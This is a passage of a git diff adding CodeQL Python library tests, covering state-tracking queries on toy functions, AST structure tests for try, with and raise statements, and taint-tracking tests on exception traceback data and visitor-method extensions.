test.py:57:23:57:26 | ControlFlowNode for True | runtime | frobnicated | false | +| test.py:57 | test.py:57:23:57:26 | ControlFlowNode for True | runtime | initialized | true | +| test.py:58 | test.py:58:8:58:18 | ControlFlowNode for initialized | runtime | frobnicated | false | +| test.py:58 | test.py:58:8:58:18 | ControlFlowNode for initialized | runtime | frobnicated | false | +| test.py:58 | test.py:58:8:58:18 | ControlFlowNode for initialized | runtime | initialized | false | +| test.py:58 | test.py:58:8:58:18 | ControlFlowNode for initialized | runtime | initialized | true | +| test.py:59 | test.py:59:9:59:18 | ControlFlowNode for frobnicate | runtime | frobnicated | false | +| test.py:59 | test.py:59:9:59:18 | ControlFlowNode for frobnicate | runtime | initialized | true | +| test.py:59 | test.py:59:9:59:20 | ControlFlowNode for frobnicate() | runtime | frobnicated | true | +| test.py:59 | test.py:59:9:59:20 | ControlFlowNode for frobnicate() | runtime | initialized | true | +| test.py:60 | test.py:60:9:60:18 | ControlFlowNode for exacerbate | runtime | frobnicated | true | +| test.py:60 | test.py:60:9:60:18 | ControlFlowNode for exacerbate | runtime | initialized | true | +| test.py:60 | test.py:60:9:60:20 | ControlFlowNode for exacerbate() | runtime | frobnicated | true | +| test.py:60 | test.py:60:9:60:20 | ControlFlowNode for exacerbate() | runtime | initialized | true | +| test.py:62 | test.py:62:1:62:15 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| test.py:62 | test.py:62:1:62:15 | ControlFlowNode for FunctionExpr | import | initialized | false | +| test.py:62 | test.py:62:1:62:15 | Entry node for Function bad4 | runtime | frobnicated | false | +| test.py:62 | test.py:62:1:62:15 | Entry node for Function bad4 | runtime | initialized | false | +| test.py:62 | test.py:62:1:62:15 | Exit node for Function bad4 | runtime | frobnicated | true | +| test.py:62 | test.py:62:1:62:15 | Exit node for Function bad4 | runtime | initialized | false | +| test.py:62 | test.py:62:1:62:15 | Exit node for Function bad4 | runtime | initialized | true | +| test.py:62 | test.py:62:5:62:8 | ControlFlowNode for bad4 | import | frobnicated | false | +| test.py:62 | test.py:62:5:62:8 | ControlFlowNode for bad4 | import | initialized | false | +| test.py:62 | test.py:62:10:62:13 | ControlFlowNode for frob | runtime | frobnicated | false | +| test.py:62 | test.py:62:10:62:13 | ControlFlowNode for frob | runtime | initialized | false | +| test.py:63 | test.py:63:8:63:11 | ControlFlowNode for frob | runtime | frobnicated | false | +| test.py:63 | test.py:63:8:63:11 | ControlFlowNode for frob | runtime | initialized | false | +| test.py:64 | test.py:64:9:64:18 | ControlFlowNode for initialize | runtime | frobnicated | false | +| test.py:64 | test.py:64:9:64:18 | ControlFlowNode for initialize | runtime | initialized | false | +| test.py:64 | test.py:64:9:64:20 | ControlFlowNode for initialize() | runtime | frobnicated | false | +| test.py:64 | test.py:64:9:64:20 | ControlFlowNode for initialize() | runtime | initialized | true | +| test.py:65 | test.py:65:5:65:14 | ControlFlowNode for frobnicate | runtime | frobnicated | false | +| test.py:65 | test.py:65:5:65:14 | ControlFlowNode for frobnicate | runtime | initialized | false | +| test.py:65 | test.py:65:5:65:14 | ControlFlowNode for frobnicate | runtime | initialized | true | +| test.py:65 | test.py:65:5:65:16 | ControlFlowNode for frobnicate() | runtime | frobnicated | true | +| test.py:65 | test.py:65:5:65:16 | ControlFlowNode for frobnicate() | runtime | initialized | false | +| test.py:65 | test.py:65:5:65:16 | ControlFlowNode for frobnicate() | runtime | initialized | true | +| test.py:66 | test.py:66:5:66:14 | ControlFlowNode for exacerbate | runtime | frobnicated | true | +| test.py:66 | test.py:66:5:66:14 | ControlFlowNode for exacerbate | runtime | initialized | false | +| test.py:66 | test.py:66:5:66:14 | ControlFlowNode for exacerbate | runtime | initialized | true | +| test.py:66 | test.py:66:5:66:16 | ControlFlowNode for exacerbate() | runtime | frobnicated | true | +| test.py:66 | test.py:66:5:66:16 | ControlFlowNode for exacerbate() | runtime | initialized | false | +| test.py:66 | test.py:66:5:66:16 | ControlFlowNode for exacerbate() | runtime | initialized | true | +| test.py:68 | test.py:68:1:68:13 | ControlFlowNode for FunctionExpr | import | frobnicated | false | +| test.py:68 | test.py:68:1:68:13 | ControlFlowNode for FunctionExpr | import | initialized | false | +| test.py:68 | test.py:68:1:68:13 | Entry node for Function on_off | runtime | frobnicated | false | +| test.py:68 | test.py:68:1:68:13 | Entry node for Function on_off | runtime | initialized | false | +| test.py:68 | test.py:68:1:68:13 | Exit node for Function on_off | runtime | frobnicated | false | +| test.py:68 | test.py:68:1:68:13 | Exit node for Function on_off | runtime | initialized | true | +| test.py:68 | test.py:68:5:68:10 | ControlFlowNode for on_off | import | frobnicated | false | +| test.py:68 | test.py:68:5:68:10 | ControlFlowNode for on_off | import | initialized | false | +| test.py:69 | test.py:69:5:69:14 | ControlFlowNode for initialize | runtime | frobnicated | false | +| test.py:69 | test.py:69:5:69:14 | ControlFlowNode for initialize | runtime | initialized | false | +| test.py:69 | test.py:69:5:69:16 | ControlFlowNode for initialize() | runtime | frobnicated | false | +| test.py:69 | test.py:69:5:69:16 | ControlFlowNode for initialize() | runtime | initialized | true | +| test.py:70 | test.py:70:5:70:14 | ControlFlowNode for frobnicate | runtime | frobnicated | false | +| test.py:70 | test.py:70:5:70:14 | ControlFlowNode for frobnicate | runtime | initialized | true | +| test.py:70 | test.py:70:5:70:16 | ControlFlowNode for frobnicate() | runtime | frobnicated | true | +| test.py:70 | test.py:70:5:70:16 | ControlFlowNode for frobnicate() | runtime | initialized | true | +| test.py:71 | test.py:71:5:71:14 | ControlFlowNode for exacerbate | runtime | frobnicated | true | +| test.py:71 | test.py:71:5:71:14 | ControlFlowNode for exacerbate | runtime | initialized | true | +| test.py:71 | test.py:71:5:71:16 | ControlFlowNode for exacerbate() | runtime | frobnicated | true | +| test.py:71 | test.py:71:5:71:16 | ControlFlowNode for exacerbate() | runtime | initialized | true | +| test.py:72 | test.py:72:5:72:16 | ControlFlowNode for defrobnicate | runtime | frobnicated | true | +| test.py:72 | test.py:72:5:72:16 | ControlFlowNode for defrobnicate | runtime | initialized | true | +| test.py:72 | test.py:72:5:72:18 | ControlFlowNode for defrobnicate() | runtime | frobnicated | false | +| test.py:72 | test.py:72:5:72:18 | ControlFlowNode for defrobnicate() | runtime | initialized | true | +| test.py:73 | test.py:73:5:73:14 | ControlFlowNode for frobnicate | runtime | frobnicated | false | +| test.py:73 | test.py:73:5:73:14 | ControlFlowNode for frobnicate | runtime | initialized | true | +| test.py:73 | test.py:73:5:73:16 | ControlFlowNode for frobnicate() | runtime | frobnicated | true | +| test.py:73 | test.py:73:5:73:16 | ControlFlowNode for frobnicate() | runtime | initialized | true | +| test.py:74 | test.py:74:5:74:16 | ControlFlowNode for defrobnicate | runtime | frobnicated | true | +| test.py:74 | test.py:74:5:74:16 | ControlFlowNode for defrobnicate | runtime | initialized | true | +| test.py:74 | test.py:74:5:74:18 | ControlFlowNode for defrobnicate() | runtime | frobnicated | false | +| test.py:74 | test.py:74:5:74:18 | ControlFlowNode for defrobnicate() | runtime | initialized | true | +| test.py:75 | test.py:75:5:75:14 | ControlFlowNode for exacerbate | runtime | frobnicated | false | +| test.py:75 | test.py:75:5:75:14 | ControlFlowNode for exacerbate | runtime | initialized | true | +| test.py:75 | test.py:75:5:75:16 | ControlFlowNode for exacerbate() | runtime | frobnicated | false | +| test.py:75 | test.py:75:5:75:16 | ControlFlowNode for exacerbate() | runtime | initialized | true | diff --git a/python/ql/test/library-tests/state_tracking/Test.ql b/python/ql/test/library-tests/state_tracking/Test.ql new file mode 100644 index 00000000000..e88365aad94 --- /dev/null +++ b/python/ql/test/library-tests/state_tracking/Test.ql @@ -0,0 +1,14 @@ + +import python +import Lib + +from ControlFlowNode f, TrackableState state, Context ctx, boolean sense +where +f.getLocation().getStartLine() >= 20 and +( + state.appliesTo(f, ctx) and sense = true + or + state.mayNotApplyTo(f, ctx) and sense = false +) + +select f.getLocation().toString(), f, ctx, state, sense diff --git a/python/ql/test/library-tests/state_tracking/Violations.expected b/python/ql/test/library-tests/state_tracking/Violations.expected new file mode 100644 index 00000000000..8deeb3c651f --- /dev/null +++ b/python/ql/test/library-tests/state_tracking/Violations.expected @@ -0,0 +1,7 @@ +| global.py:23 | ControlFlowNode for frobnicate() | initialized | +| global.py:26 | ControlFlowNode for exacerbate() | frobnicated | +| test.py:42 | ControlFlowNode for frobnicate() | initialized | +| test.py:48 | ControlFlowNode for exacerbate() | frobnicated | +| test.py:51 | ControlFlowNode for exacerbate() | frobnicated | +| test.py:65 | ControlFlowNode for frobnicate() | initialized | +| test.py:75 | ControlFlowNode for exacerbate() | frobnicated | diff --git a/python/ql/test/library-tests/state_tracking/Violations.ql b/python/ql/test/library-tests/state_tracking/Violations.ql new file mode 100644 index 00000000000..8da2a0500ef --- /dev/null +++ b/python/ql/test/library-tests/state_tracking/Violations.ql @@ -0,0 +1,15 @@ + +import python +import Lib + +from ControlFlowNode f, TrackableState state +where +( + callTo(f, "exacerbate") and state = "frobnicated" + or + callTo(f, "frobnicate") and state = "initialized" +) +and +state.mayNotApplyTo(f) + +select f.getLocation().toString(), f.toString(), state.toString() diff --git a/python/ql/test/library-tests/state_tracking/global.py b/python/ql/test/library-tests/state_tracking/global.py new file mode 100644 index 00000000000..5268cae9c9a --- /dev/null +++ b/python/ql/test/library-tests/state_tracking/global.py @@ -0,0 +1,34 @@ +# We must initialize before we frobnicate and we must frobnicate before exacerbating. + +from test import initialize, frobnicate, exacerbate + + + + + + + + + + + + + + + + +#To keep test results tidy don't put any thing we want results for before line 20 + +def bad1(): + frobnicate() + +def bad2(): + exacerbate() + +def good(): + exacerbate() + +bad2() +bad1() +initialize() +good() \ No newline at end of file diff --git a/python/ql/test/library-tests/state_tracking/test.py b/python/ql/test/library-tests/state_tracking/test.py new file mode 100644 index 00000000000..227d09f0b42 --- /dev/null +++ b/python/ql/test/library-tests/state_tracking/test.py @@ -0,0 +1,75 @@ +# We must initialize before we frobnicate and we must frobnicate before exacerbating. + +#Keep these functions at low line numbers to keep test results tidy. +def initialize(): + pass + +def frobnicate(): + pass + +def exacerbate(): + pass + +def defrobnicate(): + pass + + + + + +#Actual code of interest after line 20 +def good1(): + initialize() + frobnicate() + exacerbate() + +def good2(test): + if test: + initialize() + if test: + frobnicate() + +def init_and_frob(): + initialize() + frobnicate() + +def good3(): + init_and_frob() + exacerbate() + +def bad1(): + #No init + frobnicate() + exacerbate() + +def bad2(): + initialize() + #No frobnicate + exacerbate() + +def bad3(): + exacerbate() + +def good4(frob): + initialized = False + if frob: + initialize() + initialized = True + if initialized: + frobnicate() + exacerbate() + +def bad4(frob): + if frob: + initialize() + frobnicate() + exacerbate() + +def on_off(): + initialize() + frobnicate() + exacerbate() + defrobnicate() + frobnicate() + defrobnicate() + exacerbate() diff --git a/python/ql/test/library-tests/stmts/general/AstParent.expected b/python/ql/test/library-tests/stmts/general/AstParent.expected new file mode 100644 index 00000000000..f082a67fcf6 --- /dev/null +++ b/python/ql/test/library-tests/stmts/general/AstParent.expected @@ -0,0 +1 @@ +| 0 | diff --git a/python/ql/test/library-tests/stmts/general/AstParent.ql b/python/ql/test/library-tests/stmts/general/AstParent.ql new file mode 100644 index 00000000000..b7ea6f44ac3 --- /dev/null +++ b/python/ql/test/library-tests/stmts/general/AstParent.ql @@ -0,0 +1,8 @@ +import python + +/* The result of this query should always be 0, *regardless* of the database. */ + +select +count(AstNode c | not exists(c.getParentNode()) and not c instanceof Module) ++ +count(AstNode c | strictcount(c.getParentNode()) > 1) diff --git a/python/ql/test/library-tests/stmts/general/SubExpressions.expected b/python/ql/test/library-tests/stmts/general/SubExpressions.expected new file mode 100644 index 00000000000..e40356ab46b --- /dev/null +++ b/python/ql/test/library-tests/stmts/general/SubExpressions.expected @@ -0,0 +1,6 @@ +| Delete | Attribute | Attribute | 4 | +| Delete | Attribute | a | 4 | +| Delete | Subscript | Subscript | 2 | +| Delete | Subscript | a | 2 | +| Delete | Subscript | b | 2 | +| Delete | x | x | 3 | \ No newline at end of file diff --git a/python/ql/test/library-tests/stmts/general/SubExpressions.ql b/python/ql/test/library-tests/stmts/general/SubExpressions.ql new file mode 100644 index 00000000000..deaff1e9610 --- /dev/null +++ b/python/ql/test/library-tests/stmts/general/SubExpressions.ql @@ -0,0 +1,5 @@ + +import python + +from Stmt s +select s.toString(), s.getASubExpression().toString(), s.getASubExpression().getASubExpression*().toString(), s.getLocation().getStartLine() \ No newline at end of file diff --git a/python/ql/test/library-tests/stmts/general/subexpr_test.py b/python/ql/test/library-tests/stmts/general/subexpr_test.py new file mode 100644 index 00000000000..14332d14229 --- /dev/null +++ b/python/ql/test/library-tests/stmts/general/subexpr_test.py @@ -0,0 +1,4 @@ + +del a[b] +del x +del a.b diff --git a/python/ql/test/library-tests/stmts/raise_stmt/AST.expected b/python/ql/test/library-tests/stmts/raise_stmt/AST.expected new file mode 100644 index 00000000000..655013b4592 --- /dev/null +++ b/python/ql/test/library-tests/stmts/raise_stmt/AST.expected @@ -0,0 +1,7 @@ +| 0 | Module test | 2 | FunctionDef | +| 2 | Function f | 3 | Raise | +| 2 | Function f | 4 | Raise | +| 2 | FunctionDef | 2 | FunctionExpr | +| 2 | FunctionDef | 2 | f | +| 2 | FunctionExpr | 2 | Function f | +| 4 | Raise | 4 | Exception | \ No newline at end of file diff --git a/python/ql/test/library-tests/stmts/raise_stmt/AST.ql b/python/ql/test/library-tests/stmts/raise_stmt/AST.ql new file mode 100644 index 00000000000..d9daaa8514b --- /dev/null +++ b/python/ql/test/library-tests/stmts/raise_stmt/AST.ql @@ -0,0 +1,7 @@ + + +import python + +from AstNode parent, AstNode child +where child.getParentNode() = parent +select parent.getLocation().getStartLine(), parent.toString(), child.getLocation().getStartLine(), child.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/stmts/raise_stmt/test.py b/python/ql/test/library-tests/stmts/raise_stmt/test.py new file mode 100644 index 00000000000..26d38df54a1 --- /dev/null +++ b/python/ql/test/library-tests/stmts/raise_stmt/test.py @@ -0,0 +1,4 @@ + +def f(): + raise + raise Exception diff --git a/python/ql/test/library-tests/stmts/try_stmt/AST.expected b/python/ql/test/library-tests/stmts/try_stmt/AST.expected new file mode 100644 index 00000000000..a8c2778fc99 --- /dev/null +++ b/python/ql/test/library-tests/stmts/try_stmt/AST.expected @@ -0,0 +1,34 @@ +| 0 | Module test | 2 | FunctionDef | +| 2 | Function f | 3 | Try | +| 2 | Function f | 12 | Try | +| 2 | Function f | 17 | Try | +| 2 | FunctionDef | 2 | FunctionExpr | +| 2 | FunctionDef | 2 | f | +| 2 | FunctionExpr | 2 | Function f | +| 3 | Try | 4 | ExprStmt | +| 3 | Try | 5 | Try | +| 3 | Try | 9 | ExceptStmt | +| 4 | ExprStmt | 4 | call() | +| 4 | call() | 4 | call | +| 5 | Try | 6 | ExprStmt | +| 5 | Try | 7 | ExceptStmt | +| 6 | ExprStmt | 6 | nested() | +| 6 | nested() | 6 | nested | +| 7 | ExceptStmt | 7 | Exception | +| 7 | ExceptStmt | 8 | Return | +| 8 | Return | 8 | IntegerLiteral | +| 9 | ExceptStmt | 10 | Return | +| 10 | Return | 10 | IntegerLiteral | +| 12 | Try | 13 | ExprStmt | +| 12 | Try | 14 | ExceptStmt | +| 13 | ExprStmt | 13 | call2() | +| 13 | call2() | 13 | call2 | +| 14 | ExceptStmt | 14 | Exception | +| 14 | ExceptStmt | 15 | Return | +| 15 | Return | 15 | IntegerLiteral | +| 17 | Try | 18 | ExprStmt | +| 17 | Try | 20 | ExprStmt | +| 18 | ExprStmt | 18 | call3a() | +| 18 | call3a() | 18 | call3a | +| 20 | ExprStmt | 20 | call3b() | +| 20 | call3b() | 20 | call3b | \ No newline at end of file diff --git a/python/ql/test/library-tests/stmts/try_stmt/AST.ql b/python/ql/test/library-tests/stmts/try_stmt/AST.ql new file mode 100644 index 00000000000..d9daaa8514b --- /dev/null +++ b/python/ql/test/library-tests/stmts/try_stmt/AST.ql @@ -0,0 +1,7 @@ + + +import python + +from AstNode parent, AstNode child +where child.getParentNode() = parent +select parent.getLocation().getStartLine(), parent.toString(), child.getLocation().getStartLine(), child.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/stmts/try_stmt/test.py b/python/ql/test/library-tests/stmts/try_stmt/test.py new file mode 100644 index 00000000000..f7d5b124c6d --- /dev/null +++ b/python/ql/test/library-tests/stmts/try_stmt/test.py @@ -0,0 +1,20 @@ + +def f(): + try: + call() + try: + nested() + except Exception: + return 1 + except: + return 2 + + try: + call2() + except Exception: + return 2 + + try: + call3a() + finally: + call3b() \ No newline at end of file diff --git a/python/ql/test/library-tests/stmts/with_stmt/AST.expected b/python/ql/test/library-tests/stmts/with_stmt/AST.expected new file mode 100644 index 00000000000..acae99eab4c --- /dev/null +++ b/python/ql/test/library-tests/stmts/with_stmt/AST.expected @@ -0,0 +1,20 @@ +| 0 | Module test | 2 | FunctionDef | +| 0 | Module test | 6 | FunctionDef | +| 2 | Function f | 3 | With | +| 2 | FunctionDef | 2 | FunctionExpr | +| 2 | FunctionDef | 2 | f | +| 2 | FunctionExpr | 2 | Function f | +| 3 | With | 3 | a | +| 3 | With | 4 | ExprStmt | +| 4 | ExprStmt | 4 | call() | +| 4 | call() | 4 | call | +| 6 | Function g | 7 | With | +| 6 | FunctionDef | 6 | FunctionExpr | +| 6 | FunctionDef | 6 | g | +| 6 | FunctionExpr | 6 | Function g | +| 7 | With | 7 | x | +| 7 | With | 8 | With | +| 8 | With | 8 | y | +| 8 | With | 9 | ExprStmt | +| 9 | ExprStmt | 9 | call() | +| 9 | call() | 9 | call | \ No newline at end of file diff --git a/python/ql/test/library-tests/stmts/with_stmt/AST.ql b/python/ql/test/library-tests/stmts/with_stmt/AST.ql new file mode 100644 index 00000000000..d9daaa8514b --- /dev/null +++ b/python/ql/test/library-tests/stmts/with_stmt/AST.ql @@ -0,0 +1,7 @@ + + +import python + +from AstNode parent, AstNode child +where child.getParentNode() = parent +select parent.getLocation().getStartLine(), parent.toString(), child.getLocation().getStartLine(), child.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/stmts/with_stmt/test.py b/python/ql/test/library-tests/stmts/with_stmt/test.py new file mode 100644 index 00000000000..4a19af00c05 --- /dev/null +++ b/python/ql/test/library-tests/stmts/with_stmt/test.py @@ -0,0 +1,9 @@ + +def f(): + with a: + call() + +def g(): + with x: + with y: + call() \ No newline at end of file diff --git a/python/ql/test/library-tests/taint/exception_traceback/TestNode.expected b/python/ql/test/library-tests/taint/exception_traceback/TestNode.expected new file mode 100644 index 00000000000..b0b2a23b14b --- /dev/null +++ b/python/ql/test/library-tests/taint/exception_traceback/TestNode.expected @@ -0,0 +1,27 @@ +| test.py:10:11:10:47 | test.py:10 | MyException() | exception.kind | +| test.py:15:25:15:25 | test.py:15 | e | exception.kind | +| test.py:16:13:16:34 | test.py:16 | Attribute() | exception.info | +| test.py:17:15:17:15 | test.py:17 | s | exception.info | +| test.py:19:13:19:36 | test.py:19 | Attribute() | [exception.info] | +| test.py:20:13:20:37 | test.py:20 | Attribute() | [exception.info] | +| test.py:21:13:21:36 | test.py:21 | Attribute() | [exception.info] | +| test.py:21:35:21:35 | test.py:21 | t | [exception.info] | +| test.py:22:13:22:58 | test.py:22 | Attribute() | [exception.info] | +| test.py:23:13:23:57 | test.py:23 | Attribute() | [exception.info] | +| test.py:24:13:24:35 | test.py:24 | Attribute() | [exception.info] | +| test.py:25:13:25:36 | test.py:25 | Attribute() | [exception.info] | +| test.py:26:25:26:25 | test.py:26 | e | exception.kind | +| test.py:26:25:26:33 | test.py:26 | Attribute | exception.info | +| test.py:26:25:26:41 | test.py:26 | Tuple | [[exception.info]] | +| test.py:26:25:26:41 | test.py:26 | Tuple | [exception.info] | +| test.py:26:36:26:36 | test.py:26 | e | exception.kind | +| test.py:26:36:26:41 | test.py:26 | Attribute | [exception.info] | +| test.py:27:19:27:19 | test.py:27 | t | [exception.info] | +| test.py:27:22:27:22 | test.py:27 | u | [exception.info] | +| test.py:27:25:27:25 | test.py:27 | v | [exception.info] | +| test.py:27:28:27:28 | test.py:27 | w | [exception.info] | +| test.py:27:31:27:31 | test.py:27 | x | [exception.info] | +| test.py:27:34:27:34 | test.py:27 | y | [exception.info] | +| test.py:27:37:27:37 | test.py:27 | z | [exception.info] | +| test.py:27:40:27:46 | test.py:27 | message | exception.info | +| test.py:27:49:27:52 | test.py:27 | args | [exception.info] | diff --git a/python/ql/test/library-tests/taint/exception_traceback/TestNode.ql b/python/ql/test/library-tests/taint/exception_traceback/TestNode.ql new file mode 100644 index 00000000000..b9ec3c2ff3e --- /dev/null +++ b/python/ql/test/library-tests/taint/exception_traceback/TestNode.ql @@ -0,0 +1,8 @@ +import python + +import semmle.python.security.Exceptions +import semmle.python.web.HttpResponse + +from TaintedNode node +where not node.getLocation().getFile().inStdlib() +select node.getLocation(), node.getNode().getNode().toString(), node.getTaintKind() \ No newline at end of file diff --git a/python/ql/test/library-tests/taint/exception_traceback/TestSource.expected b/python/ql/test/library-tests/taint/exception_traceback/TestSource.expected new file mode 100644 index 00000000000..e8b2074bc28 --- /dev/null +++ b/python/ql/test/library-tests/taint/exception_traceback/TestSource.expected @@ -0,0 +1,10 @@ +| test.py:10 | MyException() | exception.kind | +| test.py:15 | e | exception.kind | +| test.py:16 | Attribute() | exception.info | +| test.py:19 | Attribute() | [exception.info] | +| test.py:20 | Attribute() | [exception.info] | +| test.py:21 | Attribute() | [exception.info] | +| test.py:22 | Attribute() | [exception.info] | +| test.py:23 | Attribute() | [exception.info] | +| test.py:24 | Attribute() | [exception.info] | +| test.py:25 | Attribute() | [exception.info] | diff --git a/python/ql/test/library-tests/taint/exception_traceback/TestSource.ql b/python/ql/test/library-tests/taint/exception_traceback/TestSource.ql new file mode 100644 index 00000000000..8e625641b77 --- /dev/null +++ b/python/ql/test/library-tests/taint/exception_traceback/TestSource.ql @@ -0,0 +1,11 @@ +import python + +import semmle.python.security.Exceptions +import semmle.python.web.HttpResponse + + +from TaintSource src, TaintKind kind +where + src.isSourceOf(kind) and + not src.getLocation().getFile().inStdlib() +select src.getLocation().toString(), src.(ControlFlowNode).getNode().toString(), kind \ No newline at end of file diff --git a/python/ql/test/library-tests/taint/exception_traceback/TestStep.expected b/python/ql/test/library-tests/taint/exception_traceback/TestStep.expected new file mode 100644 index 00000000000..196c1e92c2c --- /dev/null +++ b/python/ql/test/library-tests/taint/exception_traceback/TestStep.expected @@ -0,0 +1,16 @@ +| Taint [exception.info] | test.py:19 | Attribute() | | --> | Taint [exception.info] | test.py:21 | t | | +| Taint [exception.info] | test.py:19 | Attribute() | | --> | Taint [exception.info] | test.py:27 | t | | +| Taint [exception.info] | test.py:20 | Attribute() | | --> | Taint [exception.info] | test.py:27 | u | | +| Taint [exception.info] | test.py:21 | Attribute() | | --> | Taint [exception.info] | test.py:27 | v | | +| Taint [exception.info] | test.py:22 | Attribute() | | --> | Taint [exception.info] | test.py:27 | w | | +| Taint [exception.info] | test.py:23 | Attribute() | | --> | Taint [exception.info] | test.py:27 | x | | +| Taint [exception.info] | test.py:24 | Attribute() | | --> | Taint [exception.info] | test.py:27 | y | | +| Taint [exception.info] | test.py:25 | Attribute() | | --> | Taint [exception.info] | test.py:27 | z | | +| Taint [exception.info] | test.py:26 | Attribute | | --> | Taint [[exception.info]] | test.py:26 | Tuple | | +| Taint [exception.info] | test.py:26 | Attribute | | --> | Taint [exception.info] | test.py:27 | args | | +| Taint exception.info | test.py:16 | Attribute() | | --> | Taint exception.info | test.py:17 | s | | +| Taint exception.info | test.py:26 | Attribute | | --> | Taint [exception.info] | test.py:26 | Tuple | | +| Taint exception.info | test.py:26 | Attribute | | --> | Taint exception.info | test.py:27 | message | | +| Taint exception.kind | test.py:15 | e | | --> | Taint exception.kind | test.py:26 | e | | +| Taint exception.kind | test.py:26 | e | | --> | Taint [exception.info] | test.py:26 | Attribute | | +| Taint exception.kind | test.py:26 | e | | --> | Taint exception.info | test.py:26 | Attribute | | diff --git a/python/ql/test/library-tests/taint/exception_traceback/TestStep.ql b/python/ql/test/library-tests/taint/exception_traceback/TestStep.ql new file mode 100644 index 00000000000..227cba3c293 --- /dev/null +++ b/python/ql/test/library-tests/taint/exception_traceback/TestStep.ql @@ -0,0 +1,14 @@ +import python + +import semmle.python.security.Exceptions +import semmle.python.web.HttpResponse + +from TaintedNode n, TaintedNode s +where + s = n.getASuccessor() and + not n.getLocation().getFile().inStdlib() and + not s.getLocation().getFile().inStdlib() +select + n.getTrackedValue(), n.getLocation().toString(), n.getNode().getNode().toString(), n.getContext(), + " --> ", + s.getTrackedValue(), s.getLocation().toString(), s.getNode().getNode().toString(), s.getContext() diff --git a/python/ql/test/library-tests/taint/exception_traceback/test.py b/python/ql/test/library-tests/taint/exception_traceback/test.py new file mode 100644 index 00000000000..20573aa8f8b --- /dev/null +++ b/python/ql/test/library-tests/taint/exception_traceback/test.py @@ -0,0 +1,34 @@ +from __future__ import print_function + +import traceback +import sys + +class MyException(Exception): + pass + +def raise_secret_exception(): + raise MyException("Message", "secret info") + +def foo(): + try: + raise_secret_exception() + except Exception as e: + s = traceback.format_exc() + print(s) + etype, evalue, tb = sys.exc_info() + t = traceback.extract_tb(tb) + u = traceback.extract_stack() + v = traceback.format_list(t) + w = traceback.format_exception_only(etype, evalue) + x = traceback.format_exception(etype, evalue, tb) + y = traceback.format_tb(tb) + z = traceback.format_stack() + message, args = e.message, e.args + print(tb, t, u, v, w, x, y, z, message, args) + + +foo() + + +#For test to find stdlib +import os diff --git a/python/ql/test/library-tests/taint/extensions/ExtensionsLib.qll b/python/ql/test/library-tests/taint/extensions/ExtensionsLib.qll new file mode 100644 index 00000000000..9cbbc6f9e2d --- /dev/null +++ b/python/ql/test/library-tests/taint/extensions/ExtensionsLib.qll @@ -0,0 +1,94 @@ +import python + +import semmle.python.security.TaintTracking + +class SimpleTest extends TaintKind { + + SimpleTest() { + this = "simple.test" + } + +} + +class SimpleSink extends TaintSink { + + override string toString() { result = "Simple sink" } + + SimpleSink() { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "SINK" and + this = call.getAnArg() + ) + } + + override predicate sinks(TaintKind taint) { + taint instanceof SimpleTest + } + +} + +class SimpleSource extends TaintSource { + + SimpleSource() { this.(NameNode).getId() = "SOURCE" } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof SimpleTest + } + + override string toString() { + result = "simple.source" + } + +} + + +predicate visit_call(CallNode call, FunctionObject func) { + exists(AttrNode attr, ClassObject cls, string name | + name.prefix(6) = "visit_" and + func = cls.lookupAttribute(name) and + attr.getObject("visit").refersTo(_, cls, _) and + attr = call.getFunction() + ) +} + +/* Test call extensions by tracking taint through visitor methods */ + +class TestCallReturnExtension extends DataFlowExtension::DataFlowNode { + + TestCallReturnExtension() { + exists(PyFunctionObject func | + visit_call(_, func) and + this = func.getAReturnedNode() + ) + } + + override ControlFlowNode getAReturnSuccessorNode(CallNode call) { + exists(PyFunctionObject func | + visit_call(call, func) and + this = func.getAReturnedNode() and + result = call + ) + } + +} + +class TestCallParameterExtension extends DataFlowExtension::DataFlowNode { + + TestCallParameterExtension() { + exists(PyFunctionObject func, CallNode call | + visit_call(call, func) and + this = call.getAnArg() + ) + } + + override ControlFlowNode getACalleeSuccessorNode(CallNode call) { + exists(PyFunctionObject func | + visit_call(call, func) and + exists(int n | + this = call.getArg(n) and + result.getNode() = func.getFunction().getArg(n+1) + ) + ) + } + +} diff --git a/python/ql/test/library-tests/taint/extensions/TestNode.expected b/python/ql/test/library-tests/taint/extensions/TestNode.expected new file mode 100644 index 00000000000..3c0912519d2 --- /dev/null +++ b/python/ql/test/library-tests/taint/extensions/TestNode.expected @@ -0,0 +1,8 @@ +| Taint simple.test | visitor.py:10 | arg | visitor.py:26 | +| Taint simple.test | visitor.py:13 | arg | visitor.py:26 | +| Taint simple.test | visitor.py:18 | arg | visitor.py:26 | +| Taint simple.test | visitor.py:19 | arg | visitor.py:26 | +| Taint simple.test | visitor.py:21 | arg | visitor.py:26 | +| Taint simple.test | visitor.py:26 | Attribute() | | +| Taint simple.test | visitor.py:26 | SOURCE | | +| Taint simple.test | visitor.py:27 | x | | diff --git a/python/ql/test/library-tests/taint/extensions/TestNode.ql b/python/ql/test/library-tests/taint/extensions/TestNode.ql new file mode 100644 index 00000000000..11f697a8bfe --- /dev/null +++ b/python/ql/test/library-tests/taint/extensions/TestNode.ql @@ -0,0 +1,8 @@ +import python + +import ExtensionsLib + + +from TaintedNode n +select n.getTrackedValue(), n.getLocation().toString(), n.getNode().getNode().toString(), n.getContext() + diff --git a/python/ql/test/library-tests/taint/extensions/TestStep.expected b/python/ql/test/library-tests/taint/extensions/TestStep.expected new file mode 100644 index 00000000000..382aabc3ae7 --- /dev/null +++ b/python/ql/test/library-tests/taint/extensions/TestStep.expected @@ -0,0 +1,7 @@ +| Taint simple.test | visitor.py:10 | arg | visitor.py:26 | --> | Taint simple.test | visitor.py:13 | arg | visitor.py:26 | +| Taint simple.test | visitor.py:18 | arg | visitor.py:26 | --> | Taint simple.test | visitor.py:19 | arg | visitor.py:26 | +| Taint simple.test | visitor.py:19 | arg | visitor.py:26 | --> | Taint simple.test | visitor.py:26 | Attribute() | | +| Taint simple.test | visitor.py:26 | Attribute() | | --> | Taint simple.test | visitor.py:27 | x | | +| Taint simple.test | visitor.py:26 | SOURCE | | --> | Taint simple.test | visitor.py:10 | arg | visitor.py:26 | +| Taint simple.test | visitor.py:26 | SOURCE | | --> | Taint simple.test | visitor.py:18 | arg | visitor.py:26 | +| Taint simple.test | visitor.py:26 | SOURCE | | --> | Taint simple.test | visitor.py:21 | arg | visitor.py:26 | diff --git a/python/ql/test/library-tests/taint/extensions/TestStep.ql 